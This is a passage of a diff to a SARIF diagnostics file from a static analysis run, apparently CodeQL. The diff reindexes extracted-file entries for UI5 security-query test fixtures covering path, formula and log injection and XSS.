           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 105
             }
@@ -5795,7 +5769,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5807,7 +5781,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 106
             }
@@ -5821,7 +5795,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5833,7 +5807,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 107
             }
@@ -5847,7 +5821,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5859,7 +5833,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 108
             }
@@ -5873,7 +5847,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5885,7 +5859,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 109
             }
@@ -5899,7 +5873,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5911,7 +5885,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 110
             }
@@ -5925,7 +5899,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5937,7 +5911,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 111
             }
@@ -5951,7 +5925,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5963,9 +5937,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 112
+              "index" : 3
             }
           }
         } ],
@@ -5977,7 +5951,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5989,9 +5963,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 113
+              "index" : 112
             }
           }
         } ],
@@ -6003,7 +5977,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6015,9 +5989,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 114
+              "index" : 113
             }
           }
         } ],
@@ -6029,7 +6003,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6041,9 +6015,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 115
+              "index" : 114
             }
           }
         } ],
@@ -6055,7 +6029,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6067,9 +6041,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 116
+              "index" : 115
             }
           }
         } ],
@@ -6081,7 +6055,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6093,9 +6067,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 117
+              "index" : 116
             }
           }
         } ],
@@ -6107,7 +6081,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6119,9 +6093,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 118
+              "index" : 117
             }
           }
         } ],
@@ -6133,7 +6107,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6145,9 +6119,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 119
+              "index" : 118
             }
           }
         } ],
@@ -6159,7 +6133,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6171,9 +6145,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 120
+              "index" : 119
             }
           }
         } ],
@@ -6185,7 +6159,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6197,9 +6171,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 121
+              "index" : 120
             }
           }
         } ],
@@ -6211,7 +6185,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6223,9 +6197,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 122
+              "index" : 121
             }
           }
         } ],
@@ -6237,7 +6211,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6249,9 +6223,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 123
+              "index" : 122
             }
           }
         } ],
@@ -6263,7 +6237,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6275,9 +6249,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 124
+              "index" : 123
             }
           }
         } ],
@@ -6289,7 +6263,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6301,9 +6275,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 125
+              "index" : 124
             }
           }
         } ],
@@ -6315,7 +6289,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6327,9 +6301,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 1
+              "index" : 125
             }
           }
         } ],
@@ -6341,7 +6315,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6353,7 +6327,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 126
             }
@@ -6367,7 +6341,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6379,7 +6353,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 127
             }
@@ -6393,7 +6367,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6405,7 +6379,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 128
             }
@@ -6419,7 +6393,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6431,7 +6405,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 129
             }
@@ -6445,7 +6419,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6457,7 +6431,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 130
             }
@@ -6471,7 +6445,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6483,7 +6457,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 131
             }
@@ -6497,7 +6471,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6509,7 +6483,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 132
             }
@@ -6523,7 +6497,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6535,7 +6509,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 133
             }
@@ -6549,7 +6523,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6561,7 +6535,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 134
             }
@@ -6575,7 +6549,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6587,7 +6561,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 135
             }
@@ -6601,7 +6575,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6613,7 +6587,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 136
             }
@@ -6627,7 +6601,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6639,7 +6613,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 137
             }
@@ -6653,7 +6627,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6665,7 +6639,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 138
             }
@@ -6679,7 +6653,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6691,7 +6665,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 139
             }
@@ -6705,7 +6679,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6717,7 +6691,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 140
             }
@@ -6731,7 +6705,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6743,7 +6717,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 141
             }
@@ -6757,7 +6731,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6769,7 +6743,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 142
             }
@@ -6783,7 +6757,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6795,7 +6769,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 143
             }
@@ -6809,7 +6783,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6821,7 +6795,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 144
             }
@@ -6835,7 +6809,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6847,7 +6821,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 145
             }
@@ -6861,7 +6835,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6873,7 +6847,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 146
             }
@@ -6887,7 +6861,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6899,7 +6873,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 147
             }
@@ -6913,7 +6887,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6925,7 +6899,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 148
             }
@@ -6939,7 +6913,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6951,7 +6925,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 149
             }
@@ -6965,7 +6939,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -6977,7 +6951,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 150
             }
@@ -6991,7 +6965,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7003,7 +6977,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 151
             }
@@ -7017,7 +6991,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7029,7 +7003,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 152
             }
@@ -7043,7 +7017,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7055,7 +7029,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 153
             }
@@ -7069,7 +7043,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -7081,7 +7055,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js",
